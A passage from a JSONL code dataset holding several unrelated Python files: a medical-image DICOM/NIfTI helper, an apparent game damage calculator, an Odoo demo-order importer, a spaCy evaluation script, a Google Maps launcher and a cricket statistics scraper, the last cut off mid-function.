body...\")\n body = vtk.vtkImageMathematics()\n body.SetOperationToSubtract()\n body.SetInput1Data(mask_image)\n body.SetInput2Data(pedicles)\n body.Update()\n\n final_body_mask = body.GetOutput()\n\n bone_image = applyMask(image, final_body_mask)\n\n return image, final_body_mask\n\ndef vtk2numpy(vtk_image):\n \"\"\"Convert vtk image data to a numpy array in same shape.\n The first argument is the vtk image data.\n Returns the numpy array.\n \"\"\"\n numpy_image = vtk_to_numpy(vtk_image.GetPointData().GetScalars())\n numpy_image.shape = vtk_image.GetDimensions()\n return numpy_image\n\ndef writeN88Model(model, fileName, pathname):\n \"\"\"Writes out a N88Model.\n The first argument is the model.\n The second argument is the filename.\n The third argument is the pathname.\n Returns the N88model in the directory.\n \"\"\"\n os.chdir(pathname)\n writer = vtkbone.vtkboneN88ModelWriter()\n writer.SetInputData(model)\n writer.SetFileName(fileName)\n writer.Update()\n\ndef writeNii(imageData, fileName, output_directory,orientation_mat):\n \"\"\"Writes out an input image as a NIFTI file.\n The first argument is the image Data. The second argument is the filename. The third argument is the output directory where the file is to be written to.\n \"\"\"\n os.chdir(output_directory)\n writer = vtk.vtkNIFTIImageWriter()\n writer.SetQFormMatrix(orientation_mat)\n writer.SetInputData(imageData)\n writer.SetFileName(fileName)\n writer.Write()\n\ndef writeTXTfile(input_dict, fileName, output_directory):\n \"\"\"Write a text file containing the parameters in the input array.\n The first argument is the input array of two columns. The first column is the\n variable name, the second column is the variable data. The second argument is the\n filename. The third argument is the output directory.\n Output is the text file with the information.\n \"\"\"\n os.chdir(output_directory)\n txt_file = open(fileName, \"w\")\n for key, value in list(input_dict.items()):\n txt_file.write(str(key) + '\\t' + str(value) + '\\n')\n txt_file.close()\n\ndef remove_ScoutView(filePath):\n series_IDs = sitk.ImageSeriesReader.GetGDCMSeriesIDs(filePath)\n series_file_names = sitk.ImageSeriesReader.GetGDCMSeriesFileNames(filePath, series_IDs[0])\n is_file = os.path.exists(filePath+'/scout_image_file')\n if is_file == False:\n os.mkdir(filePath+'/scout_image_file')\n\n for fnm in series_file_names:\n reader = sitk.ImageFileReader()\n reader.SetFileName(fnm)\n reader.LoadPrivateTagsOn()\n reader.ReadImageInformation()\n instance_num = reader.GetMetaData('0020|0013') #0020,0013 is the dicom tag for instance number\n pt_orientation = reader.GetMetaData('0020|0037').split('\\\\') #0020|0037 is the dicom tag for patient orientation\n #for these coronal scans, patient orientation should be: \"1.000000\\0.000000\\0.000000\\0.000000\\0.000000\\-1.000000\"\n #if it is \"0.000000\\1.000000\\0.000000\\0.000000\\0.000000\\-1.000000\", then it is the sagittal scoutview.\n if float(pt_orientation[0]) < 0.5:\n shutil.move(fnm,filePath+'/scout_image_file')\n\n # print(instance_num_max)\n\n # for fnm in series_file_names:\n # reader = sitk.ImageFileReader()\n # reader.SetFileName(fnm)\n # reader.LoadPrivateTagsOn()\n # reader.ReadImageInformation()\n # instance_num = reader.GetMetaData('0020|0013') #0020,0013 is the dicom tag for instance number\n # if instance_num < instance_num_max:\n # # os.mkdir(filePath+'/scout_image_files')\n # shutil.move(fnm,filePath+'/scout_image_files')\n\n\n\ndef dicom2nifti(filePath, outputImage,orientation_mat):\n # dicomReader = vtk.vtkDICOMImageReader()\n # dicomReader.SetDirectoryName(filePath)\n # dicomReader.Update()\n # dicomImage = dicomReader.GetOutput()\n\n remove_ScoutView(filePath)\n\n\n dicomReader = vtk.vtkDICOMImageReader()\n dicomReader.SetDirectoryName(filePath)\n dicomReader.Update()\n dicomImage = dicomReader.GetOutput()\n pt_orientation = dicomReader.GetImageOrientationPatient()\n\n\n\n #Flip image so that it's in the correct anatomical orientation (not upside down):\n # flip = vtk.vtkImageFlip()\n # flip.SetInputConnection(dicomReader.GetOutputPort())\n # flip.SetFilteredAxis(1)\n # flip.Update()\n # img_flip1 = flip.GetOutput()\n # flip2 = vtk.vtkImageFlip()\n # flip2.SetInputConnection(flip.GetOutputPort())\n # flip2.SetFilteredAxis(0)\n # flip2.Update()\n #\n # img_flip2 = flip2.GetOutput()\n #\n # mhaWriter = vtk.vtkNIFTIImageWriter()\n # # mhaWriter.SetDirectoryName(filePath)\n # mhaWriter.SetFileName(filePath+'/'+outputImage+'_flip1.nii')\n # mhaWriter.SetInputData(img_flip1)\n # mhaWriter.Write()\n\n niiWriter = vtk.vtkNIFTIImageWriter()\n niiWriter.SetFileName(filePath+'/'+outputImage+'.nii')\n niiWriter.SetQFormMatrix(orientation_mat)\n niiWriter.SetInputData(dicomImage)\n niiWriter.Write()\n\nclass FileDlg(QWidget):\n\n def __init__(self):\n super().__init__()\n self.title = 'PyQt5 file dialogs - pythonspot.com'\n self.left = 10\n self.top = 10\n self.width = 640\n self.height = 480\n self.initUI()\n\n def initUI(self):\n self.setWindowTitle(self.title)\n self.setGeometry(self.left, self.top, self.width, self.height)\n\n # self.openFileNameDialog()\n # self.openFileNamesDialog()\n\n # self.show()\n\n def openFileNameDialog(self):\n options = QFileDialog.Options()\n options |= QFileDialog.DontUseNativeDialog\n fileName, _ = QFileDialog.getOpenFileName(self,\"QFileDialog.getOpenFileName()\", \"\",\"All Files (*);;Python Files (*.py)\", options=options)\n if fileName:\n # print(fileName)\n return fileName\n","sub_path":"ogo_helper_3Materials_BoneMuscleAir.py","file_name":"ogo_helper_3Materials_BoneMuscleAir.py","file_ext":"py","file_size_in_byte":55381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"555461300","text":"import time\nimport pprint\nimport json\n\ndef bruteCal(takenNode, program, node):\n i = 0\n time = 0\n tempDamage = 0\n preGuardianBuffer = 0\n fallenNode = 0\n deadProg = 0\n while True:\n for k in node:\n if node[k]['firewall'] <= 0:\n node[k]['firewall'] = 0\n fallenNode += 1\n if time >= 180:\n return [time, 'Time//Impossible']\n if takenNode['firewall'] <= 0:\n return [time, \"TakenNode//Retaken\",takenNode['firewall']]\n if fallenNode == len(node):\n return [time, \"TakenNode//Success\",takenNode['firewall']]\n fallenNode = 0\n deadProg = 0\n if time >= 180:\n time = 180\n return [time, \"Time//Impossible\",takenNode['firewall']]\n for j in program:\n tempDamage = program[j]['damage']\n if time >= program[j]['installTime']:\n program[j]['localCounter'] += 0.1\n program[j]['localCounter'] = round(program[j]['localCounter'], 2)\n if program[j]['localCounter'] >= max(program[j]['interval'], 0.1):\n tempDamage = program[j]['damage']\n for k in node:\n if node[k]['firewall'] > 0:\n if program[j]['mode'] == 'multi':\n tempDamage = program[j]['damage']\n for l in node[k]['guardians']:\n if node[k]['guardians'][l][1] == time and node[k]['guardians'][l][0] <= 0:\n node[k]['guardians'][l][0] = node[k]['guardians'][l][2] #reset guardian shield\n if node[k]['guardians'][l][0] > 0:\n node[k]['guardians'][l][1] = time + 7 #reset guardian shield delay\n if tempDamage <= 0:\n continue\n if node[k]['guardians'][l][0] <= 0:\n continue\n preGuardianBuffer = node[k]['guardians'][l][0]\n node[k]['guardians'][l][0] = max(node[k]['guardians'][l][0] - tempDamage,0)\n tempDamage = max(tempDamage - preGuardianBuffer, 0)\n node[k]['firewall'] -= tempDamage\n if program[j]['stun'] != 0:\n node[k]['stunCounter'] = time + program[j]['stun']\n if node[k]['stunCounter'] <= time and node[k]['firewall'] >= 0:\n node[k]['firewall'] += node[k]['firewall'] / 1000 * node[k]['regen']\n if node[k]['firewall'] >= node[k]['fixedFirewall']:\n node[k]['firewall'] = node[k]['fixedFirewall']\n program[j]['localCounter'] = 0\n takenNode['firewall'] += takenNode['firewall'] / 1000 * takenNode['regen']\n takenNode['firewall'] = round(takenNode['firewall'],1)\n if takenNode['firewall'] >= takenNode['fixedFirewall']:\n takenNode['firewall'] = takenNode['fixedFirewall']\n for k in node:\n if node[k]['nodeCounter'] == max(node[k]['interval'], 0.1):\n for n in takenNode['defProg']:\n if takenNode['defProg'][n][0] <= 0:\n deadProg += 1\n continue\n takenNode['defProg'][n][0] += takenNode['defProg'][n][0] / 1000 * takenNode['defProg'][n][1]\n takenNode['defProg'][n][0] -= node[k]['DPS']\n if node[k]['sentryCounter'] == 1:\n takenNode['defProg'][n][0] -= node[k]['sentryDPS']\n node[k]['sentryCounter'] = 0\n node[k]['nodeCounter'] = 0\n if deadProg == len(takenNode['defProg']):\n takenNode['firewall'] -= node[k]['DPS']\n if node[k]['sentryCounter'] == 1:\n takenNode['firewall'] -= node[k]['sentryDPS']\n node[k]['sentryCounter'] = 0\n node[k]['nodeCounter'] = 0\n node[k]['sentryCounter'] = round(node[k]['sentryCounter']+0.1,1)\n node[k]['nodeCounter'] = round(node[k]['nodeCounter']+0.1,1)\n time += 0.1\n time = round(time,2)\n \nif __name__ == '__main__':\n takenNode = json.loads(input())\n node = json.loads(input())\n program = json.loads(input())\n print(bruteCal(takenNode, program, node))\n \n","sub_path":"CalculateLib.py","file_name":"CalculateLib.py","file_ext":"py","file_size_in_byte":4478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"481529278","text":"# -*- coding: utf-8 -*-\nfrom typing import Any, Dict, List\ntry:\n from typing import TypedDict # type: ignore\nexcept:\n from typing_extensions import TypedDict\nfrom .types import SpreadsheetRows, SpreadsheetColMapping\nfrom ..types import OdooModel, OdooActionResponse\nfrom odoo import models, fields, api, _ # type: ignore\nfrom odoo.exceptions import ValidationError # type: ignore\nimport logging\nfrom googleapiclient.discovery import build # type: ignore\nimport google.oauth2.credentials # type: ignore\nimport re\nfrom .import_all import get_google_spreadsheets\n\nPartnerMapping = Dict[str, OdooModel]\nCurrentOrder = Dict[str, Any]\n\nlogger: logging.Logger = logging.getLogger(__name__)\n\nDEFAULT_LANG = 'en_US'\n\n# This parent class implements Spreadsheet importing.\nclass SpreadsheetGenerateDemoOrders(object):\n def action_generate_demo_orders(self: OdooModel) -> OdooActionResponse:\n access_token = self.env['google.drive.config'].get_access_token(scope='https://spreadsheets.google.com/feeds')\n spreadsheets = get_google_spreadsheets(access_token)\n logger.info('Importing tests from spreadsheet %s' % (self.spreadsheet_id))\n # The ranges that we'll read in one batch operation\n ranges = ['Demodata!A:ZZ']\n value_batches = spreadsheets.values().batchGet(spreadsheetId=self.spreadsheet_id, ranges=ranges).execute()\n value_ranges = value_batches['valueRanges']\n demodata_range = value_ranges[0]\n partner_mapping = self.import_demo_partners(demodata_range['values'])\n self.import_demo_orders(demodata_range['values'], partner_mapping)\n self.message_post(body=_('TerraLab generated spreadsheet demo orders successfully.'))\n return {\n 'effect': {\n 'fadeout': 'slow',\n 'message': _('Demo orders generated successfully.'),\n 'type': 'rainbow_man',\n }\n }\n\n def import_demo_partners(self: OdooModel, rows: SpreadsheetRows) -> PartnerMapping:\n Partner = self.env['res.partner']\n col_mapping = {}\n partner_mapping: PartnerMapping = {}\n for index, col in enumerate(rows[0]):\n col_mapping[col] = index\n for row in rows[1:]:\n if col_mapping['res.partner.name'] < len(row) and col_mapping['res.partner.email'] < len(row):\n partner_name: str = str(row[col_mapping['res.partner.name']])\n partner_email: str = str(row[col_mapping['res.partner.email']])\n partner_lang: str = str(row[col_mapping['res.partner.lang']])\n if partner_name and partner_email:\n existing_partners = Partner.search([('email', '=', partner_email)])\n if len(existing_partners) > 0:\n logger.info('EXISTING DEMO PARTNER: %s (%s)' % (partner_email, partner_name))\n existing_partners[0].write({\n 'name': partner_name,\n 'is_company': True,\n 'lang': partner_lang,\n })\n partner = existing_partners[0]\n else:\n logger.info('ADD DEMO PARTNER: %s (%s)' % (partner_email, partner_name))\n partner = Partner.create({\n 'email': partner_email,\n 'name': partner_name,\n 'is_company': True,\n 'lang': partner_lang,\n })\n partner_mapping[partner_email] = partner\n return partner_mapping\n\n def import_demo_orders(self: OdooModel, rows: SpreadsheetRows, partner_mapping: PartnerMapping) -> None:\n Order = self.env['sale.order']\n TestProduct = self.env['product.template']\n SampleType = self.env['terralab.sampletype']\n SubmittedSample = self.env['terralab.submittedsample']\n TargetUse = self.env['terralab.targetuse']\n TargetUseRange = self.env['terralab.targetuserange']\n TestType = self.env['terralab.testtype']\n SubmittedTest = self.env['terralab.submittedtest']\n logger.info('Importing %s demo order row(s)' % (len(rows)))\n col_mapping: SpreadsheetColMapping = {}\n current_order: CurrentOrder = {}\n for index, col in enumerate(rows[0]):\n col_mapping[str(col)] = index\n logger.debug('Demo order column mapping: %s' % (col_mapping))\n\n def save_order(current_order: CurrentOrder, row_num: int):\n #logger.info('CREATE DEMO ORDER: %s' % (current_order))\n target_uses: List[OdooModel] = TargetUse.search([('default_code', '=', current_order['terralab.submittedsample.submitted_target_use'])])\n if len(target_uses) <= 0:\n raise ValidationError('Target Use not found: %s' % (current_order['terralab.submittedsample.submitted_target_use']))\n target_use = target_uses[0]\n existing_sample_types: List[OdooModel] = SampleType.search([('default_code', '=', current_order['terralab.submittedsample.sample_type'])])\n sample_type = existing_sample_types[0]\n logger.info('- TARGET USE %s %s %s' % (target_use, target_use.default_code, target_use.name))\n\n test_product_ids: List[int] = []\n target_use_range_ids = []\n test_product_map: Dict[int, str] = {}\n for test_product_code, values in current_order['test_products'].items():\n existing_test_products = TestProduct.search([('default_code', '=', test_product_code)])\n if len(existing_test_products) <= 0:\n raise ValidationError('Product not found: %s (line %d)' % (test_product_code, row_num))\n test_product = existing_test_products[0]\n test_product_ids.append(test_product.id)\n test_product_map[test_product.id] = test_product_code\n logger.info('- TEST PRODUCT %s (%s)' % (test_product_code, test_product.id))\n for test_name, test_variables in values['tests'].items():\n logger.info(' - TEST %s %s' % (test_name, test_variables))\n existing_target_use_ranges = TargetUseRange.search([('target_use', '=', target_use.id), ('test_type.default_code', '=', test_name)])\n if len(existing_target_use_ranges) > 0:\n target_use_range = existing_target_use_ranges[0]\n logger.info(' - TARGET USE RANGE %s' % (target_use_range))\n # Attach this target use range to the Submitted sample\n target_use_range_ids.append(target_use_range.id)\n\n submitted_sample = SubmittedSample.create({\n #'order': order.id,\n 'sample_type': sample_type.id,\n 'name': current_order['terralab.submittedsample.name'],\n 'sample_id': current_order['terralab.submittedsample.sample_id'],\n 'serial_number': current_order['terralab.submittedsample.serial_number'],\n 'deadline': current_order['terralab.submittedsample.deadline'].replace('T', ' '),\n 'area': current_order['terralab.submittedsample.area'],\n 'volume': current_order['terralab.submittedsample.volume'],\n 'location': current_order['terralab.submittedsample.location'],\n 'target_use_ranges': target_use_range_ids,\n 'test_products': test_product_ids,\n })\n\n partner = partner_mapping.get(current_order['res.partner.email'], None)\n if not partner:\n raise ValidationError('Partner Not Found: %s (line %d)' % (current_order['res.partner.email'], row_num))\n\n order = Order.create({\n 'partner_id': partner.id,\n 'terralab_submitted_samples': [submitted_sample.id],\n 'terralab_report_text_1': current_order['report_field_1'],\n 'terralab_report_text_2': current_order['report_field_2'],\n 'terralab_report_text_3': current_order['report_field_3'],\n 'terralab_report_text_4': current_order['report_field_4'],\n })\n\n submitted_sample.write({\n 'order': order.id,\n })\n\n logger.info('CONFIGURING TEST VARIABLES...')\n logger.info('TEST PRODUCT MAP %s' % (test_product_map))\n for order_line in order.order_line:\n logger.info('- ORDER LINE %s product %s template %s' % (order_line, order_line.product_id, order_line.product_template_id))\n test_product_code = test_product_map.get(order_line.product_template_id.id, '')\n if not test_product_code:\n logger.info(' - TEST PRODUCT NOT FOUND: %s' % (order_line.product_template_id))\n else:\n tests = current_order['test_products'][test_product_code]['tests']\n for terralab_submitted_test in order_line.terralab_submitted_tests:\n test_variables = tests[terralab_submitted_test.test_type.default_code]\n logger.info(' - TEST %s %s %s VARIABLES %s' % (terralab_submitted_test, terralab_submitted_test.test_type.default_code, terralab_submitted_test.test_type.name, test_variables))\n for submitted_test_variable in terralab_submitted_test.submitted_test_variables:\n # Do we have a value for this variable?\n if submitted_test_variable.num - 1 < len(test_variables):\n test_variable_value = test_variables[submitted_test_variable.num - 1]\n logger.info(' - VAR %s %s => %s' % (submitted_test_variable, submitted_test_variable.num, test_variable_value))\n submitted_test_variable.write({\n 'value': test_variable_value,\n })\n else:\n logger.info(' - VAR %s %s NOT FOUND IN %s' % (submitted_test_variable, submitted_test_variable.num, test_variables))\n\n current_product: str = ''\n row_num = 0\n for row in rows[1:]:\n row_num += 1\n sample_type_default_code = row[col_mapping['terralab.submittedsample.sample_type']]\n test_variables = [\n row[col_mapping['v_1']] if col_mapping['v_1'] < len(row) else '',\n row[col_mapping['v_2']] if col_mapping['v_2'] < len(row) else '',\n row[col_mapping['v_3']] if col_mapping['v_3'] < len(row) else '',\n row[col_mapping['v_4']] if col_mapping['v_4'] < len(row) else '',\n row[col_mapping['v_5']] if col_mapping['v_5'] < len(row) else '',\n row[col_mapping['v_6']] if col_mapping['v_6'] < len(row) else '',\n row[col_mapping['v_7']] if col_mapping['v_7'] < len(row) else '',\n row[col_mapping['v_8']] if col_mapping['v_8'] < len(row) else '',\n row[col_mapping['v_9']] if col_mapping['v_9'] < len(row) else '',\n row[col_mapping['v_10']] if col_mapping['v_10'] < len(row) else '',\n ]\n if sample_type_default_code:\n if len(current_order) > 0:\n save_order(current_order, row_num)\n current_product = str(row[col_mapping['terralab.submittedsample.test_products']])\n current_test: str = str(row[col_mapping['sale.order.terralab_submitted_tests.test_name']])\n previous_partner_email: str = current_order.get('res.partner.email', '')\n current_order = {\n 'test_products': {\n current_product: {\n 'tests': {\n current_test: test_variables,\n },\n },\n },\n }\n for col_name, col_num in col_mapping.items():\n current_order[col_name] = row[col_num] if col_num < len(row) else ''\n if not current_order['res.partner.email']:\n # Use previous\n current_order['res.partner.email'] = previous_partner_email\n elif current_product:\n # Adding products to the order\n\n if col_mapping['terralab.submittedsample.test_products'] < len(row) and row[col_mapping['terralab.submittedsample.test_products']]:\n current_product = str(row[col_mapping['terralab.submittedsample.test_products']])\n #logger.info('Start new product: %s' % (current_product))\n current_order['test_products'][current_product] = {\n 'tests': {},\n }\n\n # Adding tests and variables to the order\n if col_mapping['sale.order.terralab_submitted_tests.test_name'] < len(row) and row[col_mapping['sale.order.terralab_submitted_tests.test_name']]:\n current_test = str(row[col_mapping['sale.order.terralab_submitted_tests.test_name']])\n #logger.info('Start new test: %s' % (current_test))\n current_order['test_products'][current_product]['tests'][current_test] = test_variables\n\n if len(current_order) > 0:\n save_order(current_order, row_num)\n","sub_path":"terralab/models/spreadsheet/import_demo_orders.py","file_name":"import_demo_orders.py","file_ext":"py","file_size_in_byte":13535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"200977157","text":"#!/usr/bin/env python3\n\"\"\"\nevaluation.py\n\nThis script performs the evaluation on out Spacy Semantic Label Tagger.\nIt outputs multiple text files:\n- evaluation.txt: Contains the overall f1 score, as well as the incorrectly predicted sentences for development and error analysis.\n- label_scores.txt: Contains the f1 score and the amnount of instances per label in the dataset.\n\"\"\"\n\n#all kinds of imports\nfrom __future__ import unicode_literals, print_function\n\nimport os\nimport sys\n#insert the correct path to the preprocessing folder, allowing the program to download the files from extraction.py\nsys.path.insert(0, \"../preprocessing/\")\n\nimport re\nimport random\nimport warnings\nfrom pathlib import Path\n\nimport plac\nimport spacy\nfrom spacy.util import minibatch, compounding\nimport sklearn\nfrom sklearn.metrics import classification_report, f1_score\n\n#imports from extraction.py\nimport extraction\nfrom extraction import to_spacy_format\nfrom extraction import extract_from_conll\nfrom extraction import get_coordinates\n\ndef uneven_tokens(pred_entities, gold_entities):\n\t\"\"\"\n\tThis function is called whenever the amount of tokens in the pred and gold data are uneven.\n\tIt adds an articifal label --- to whichever data is shorter until the two are of an even length.\n\t\"\"\"\n\tpred_labels = []\n\tgold_labels = []\n\tfor entity in pred_entities:\n\t\tpred_labels.append(entity.label_)\n\n\tfor item in gold_entities:\n\t\tgold_labels.append(item[2])\n\n\tif len(pred_labels) > len(gold_labels):\n\t\twhile len(pred_labels) > len(gold_labels):\n\t\t\tgold_labels.append('---')\n\n\telse:\n\t\twhile len(gold_labels) > len(pred_labels):\n\t\t\tpred_labels.append('---')\n\n\treturn pred_labels, gold_labels\n\n\ndef label_scores(y_given, y_predicted):\n\t\"\"\"\n\tThis function calculates the f1 score per label in the data.\n\tIt sorts and writes the scores in a .txt file.\n\t\"\"\"\n\tscores_dict = classification_report(y_given,y_predicted, output_dict=True)\n\n\tf1_dict = {}\n\tfor key in scores_dict:\n\t\tif len(key) == 3:\n\t\t\tf1_dict[key] = scores_dict[key]\n\n\tsorted_scores = dict(sorted(f1_dict.items(), key=lambda item: (item[1]['f1-score'], item[1]['support']), reverse=True))\n\n\tf2 = open(\"label_scores.txt\", \"w+\")\n\n\tf2.write(\"label\\tf1-score\\t# of instances\\n\")\n\tfor key in sorted_scores:\n\t\tf2.write(key + \"\\t\" + str(round(sorted_scores[key]['f1-score'], 4)) + \"\\t\" + str(sorted_scores[key]['support']) + \"\\n\")\n\n\tf2.close()\n\ndef main():\n\t#load the created model\n\toutput_dir = \"model/\"\n\t\n\t#load the data you want to test on\n\tnlp = spacy.load(output_dir)\n\tcorpus = extract_from_conll(\"../../data/test.conll\")\n\tdata = to_spacy_format(corpus)\n\t\n\t#create a list that will keep track of the original tags and predicted tags\n\ty_given = []\n\ty_predicted = []\n\t\n\t#some counters, cnt keeps track of total number of sentences, wrong_token keeps track of sentences\n\t#with incorrect number of predicted tokens and no_entities keeps track of number of sentences without any tokens\n\tcnt = 0\n\twrong_token = 0\n\tno_entities = 0\n\t\n\t# These lists are used to fill in evaluation.txt\n\tlist_of_empty_sentences = []\n\tlist_of_sentences_with_wrong_tokens = []\n\tlist_of_sentences_with_incorrect_tags = []\n\tincorrect_tags_original = []\n\tincorrect_tags_predicted = []\n\t\n\tx_counter = 0\n\t\n\tfor text, _ in data:\n\t\tprediction = nlp(text)\n\t\treal = data[cnt][1].get('entities')\n\t\tif len(real) == 0:\n\t\t\tlist_of_empty_sentences.append(text)\n\t\t\tno_entities +=1\n\t\telif len(prediction.ents) == len(real):\n\t\t\tfor item in real:\n\t\t\t\ty_given.append(item[2])\n\t\t\tfor ent in prediction.ents:\n\t\t\t\ty_predicted.append(ent.label_)\n\t\t\t\n\t\t\tfor i in range(len(prediction.ents)):\n\t\t\t\tx = prediction.ents[i]\n\t\t\t\tif real[i][2] != x.label_:\n\t\t\t\t\tx_counter +=1\n\t\t\t\t\tlist_of_sentences_with_incorrect_tags.append(text)\n\t\t\t\t\tminilist = []\n\t\t\t\t\tfor item in real:\n\t\t\t\t\t\tminilist.append(item[2])\n\t\t\t\t\tincorrect_tags_original.append(minilist)\n\t\t\t\t\tminilist = []\n\t\t\t\t\tfor ent in prediction.ents:\n\t\t\t\t\t\tminilist.append(ent.label_)\n\t\t\t\t\tincorrect_tags_predicted.append(minilist)\n\t\t\t\t\tbreak\n\t\telse:\n\t\t\twrong_token += 1\n\t\t\tlist_of_sentences_with_wrong_tokens.append(text)\n\t\t\tpred_labels, gold_labels = uneven_tokens(prediction.ents, real)\n\t\t\tfor label in pred_labels:\n\t\t\t\ty_predicted.append(label)\n\t\t\tfor label in gold_labels:\n\t\t\t\ty_given.append(label)\n\t\t\t\n\t\tcnt +=1\n\t\n\t# Create evaluation.txt and write all results and error analysis in it\n\tcorrect = cnt - wrong_token - no_entities\n\twith open('evaluation.txt', 'w') as f:\n\t\tf.write(\"We evaluated the model on the file dev.conll\")\n\t\tf.write(\"\\n\")\n\t\tf.write(\"This file consists of \" + str(cnt) + \" sentences.\")\n\t\tf.write(\"\\n\")\n\t\tf.write(\"Out of these \" + str(cnt) + \" sentences, \" + str(correct) + \" sentences are correctly tokenized\")\n\t\tf.write(\"\\n\")\n\t\tf.write(\"\\n\")\n\t\t\n\t\tif len(list_of_empty_sentences) > 0:\n\t\t\tf.write(str(no_entities) + \" sentence(s) are not tokenized at all, and return an empty string, these include the following sentence(s):\")\n\t\t\tf.write(\"\\n\")\n\t\t\tfor sentence in list_of_empty_sentences:\n\t\t\t\tf.write(sentence)\n\t\t\t\tf.write(\"\\n\")\n\t\t\n\t\tf.write(\"\\n\")\n\t\t\n\t\tif len(list_of_sentences_with_wrong_tokens) > 0:\n\t\t\tf.write(str(wrong_token) + \" sentence(s) have an incorrect number of tokens. These include the following sentence(s):\")\n\t\t\tf.write(\"\\n\")\n\t\t\tfor sentence in list_of_sentences_with_wrong_tokens:\n\t\t\t\tf.write(sentence)\n\t\t\t\tf.write(\"\\n\")\t\t\t\n\t\tf.write(\"\\n\")\n\t\t\n\t\tf.write(\"We evaluated the performance of the tagger on the set of sentences that is correctly tokenized.\")\n\t\tf.write(\"\\n\")\n\t\tf.write(\"The F-Score returns the following score:\" + str(f1_score(y_given,y_predicted, average='micro')))\n\t\tf.write(\"\\n\")\n\t\t\n\t\tf.write(\"In total \" + str(x_counter) + \" sentences with incorrect tags were found. These were found in the following sentences:\")\n\t\tf.write(\"\\n\")\n\t\tfor i in range(len(list_of_sentences_with_incorrect_tags)):\n\t\t\tf.write(\"Sentence: \" + list_of_sentences_with_incorrect_tags[i])\n\t\t\tf.write(\"\\n\")\n\t\t\tf.write(\"Correct tags: \" + str(incorrect_tags_original[i]))\n\t\t\tf.write(\"\\n\")\n\t\t\tf.write(\"Predicted tags: \" + str(incorrect_tags_predicted[i]))\n\t\t\tf.write(\"\\n\")\n\t\t\tf.write(\"\\n\")\t\t\t\t\t\n\t\t\n\t# Finally, run the function that calculates scores per label and writes it in label_scores.txt\n\tlabel_scores(y_given, y_predicted)\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"tagtical_insertion/pipeline/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":6203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"39100459","text":"#!/usr/bin/env python\nimport webbrowser\nimport bs4\nimport requests\nprint('What is your location?')\nplace1=input()\nprint('What is your destination?')\nplace2=input()\nplace1.replace(' ', '+')\nplace2.replace(' ', '+')\nwebbrowser.open('https://www.google.com/maps/dir/'+place1+'/'+place2+'/')\n","sub_path":"MacPrograms/mapIt.py","file_name":"mapIt.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"576243800","text":"import requests\nimport re\nfrom bs4 import BeautifulSoup\nimport itertools as it\nfrom multiprocessing.pool import Pool\nfrom functools import partial\nimport pandas as pd\n\ndef get_all_countries(url):\n countries_list = []\n country_names = []\n \n url = url.strip()\n page = requests.get(url)\n soup = BeautifulSoup(page.content, 'html.parser')\n countries_data = soup.find_all('select', attrs={'name': re.compile(\"cboCountry1\")})\n options = countries_data[0].find_all('option')\n \n for data in options:\n country = data.get('value')\n country_name = data.text.strip()\n countries_list.append(country)\n country_names.append(country_name)\n \n return countries_list,country_names\n \n \ndef get_series_data(decades_tuple,series_wise_matches,cricket_url):\n \n url = cricket_url.strip()\n page = requests.get(url)\n soup = BeautifulSoup(page.content, 'html.parser')\n possible_links = soup.find_all('a', attrs={'href': re.compile(\"SeriesStats_ODI.asp\")})\n\n record_string = \"\"\n for link in possible_links:\n \n country = link.text.strip()\n country_name_arr = country.split(\" \")\n country_name = country_name_arr[1]\n if country_name_arr[2] != 'v.':\n country_name = country_name + ' ' +country_name_arr[2]\n\n series_code = str(link.get('href'))\n series_url = 'http://www.howstat.com/cricket/Statistics/Series/' + series_code\n code = series_code.split(\"=\")\n series_num = code[1].strip()\n \n appended_url = series_url + '&Scope=All#bat'\n appended_url = appended_url.replace(\"SeriesStats_ODI.asp\", \"SeriesAnalysis_ODI.asp\")\n country_arr = [country_name]\n record_string = record_string + get_details(appended_url, series_num,country_arr,decades_tuple,series_wise_matches) \n return record_string \n \ndef get_series_data_code(decades_tuple, df, series_wise_matches, series_code):\n \n record_string=\"\" \n url = 'http://www.howstat.com/cricket/Statistics/Series/SeriesStats_ODI.asp?SeriesCode='+str(series_code)\n country_arr = []\n if int(series_code) in df.index:\n country = df[\"Series Country\"][int(series_code)]\n if \",\" in country:\n y = country.split(\",\")\n for i in y:\n country_arr.append(i.strip())\n else:\n country_arr.append(country.strip())\n appended_url = url + '&Scope=All#bat'\n appended_url = appended_url.replace(\"SeriesStats_ODI.asp\", \"SeriesAnalysis_ODI.asp\")\n record_string = record_string + get_details(appended_url, series_code,country_arr,decades_tuple, series_wise_matches)\n return record_string\n else:\n return \"\"\n \n \ndef get_details(appended_url, series_num,country_name,decades_tuple,series_wise_matches):\n\n decade_index = [decades_tuple.index(item) for item in decades_tuple if series_num in item]\n decade_val = decade_index[0]\n matches_index = decades_tuple[decade_val].index(series_num)\n matches_in_ser = series_wise_matches[decade_val][matches_index]\n\n page1 = requests.get(appended_url)\n soup = BeautifulSoup(page1.content, 'html.parser')\n batting_records = []\n batting_records = soup.find('div', attrs={'id': re.compile(\"bat\")})\n\n record_string = \"\"\n if batting_records: \n tables = batting_records.find_all('tr', attrs={'bgcolor': re.compile(\"#\")})\n\n for table in tables:\n name= table.find_all('td', attrs={'align': re.compile(\"left\")})\n tdTags = table.find_all('td', attrs={'align': re.compile(\"right\")})\n count = 0\n \n for tdTag in name:\n name = tdTag.text.strip()\n if count==0:\n name = name.replace(\",\",\"\")\n count += 1\n elif count==1:\n if name in country_name:\n H_A = \"Home\"\n else:\n H_A = \"Away\"\n count += 1 \n record_string = record_string + name + \",\" \n \n for tdTag in tdTags:\n record_string = record_string + tdTag.text.strip() + \",\"\n \n record_string = record_string + series_num + \",\" + H_A + \",\" + str(decade_val) +\",\" + str(matches_in_ser) + \"\\n\" \n return record_string\n \ndef print_in_csv(records):\n for line in records:\n if line:\n file.write(line)\n\ndef get_series_with_decades(url):\n series_wise_matches = ()\n decade_wise_series = ()\n non_bilateral = []\n partial_url = \"http://www.howstat.com/cricket/Statistics/Series/\"\n \n url = url.strip()\n page = requests.get(url)\n soup = 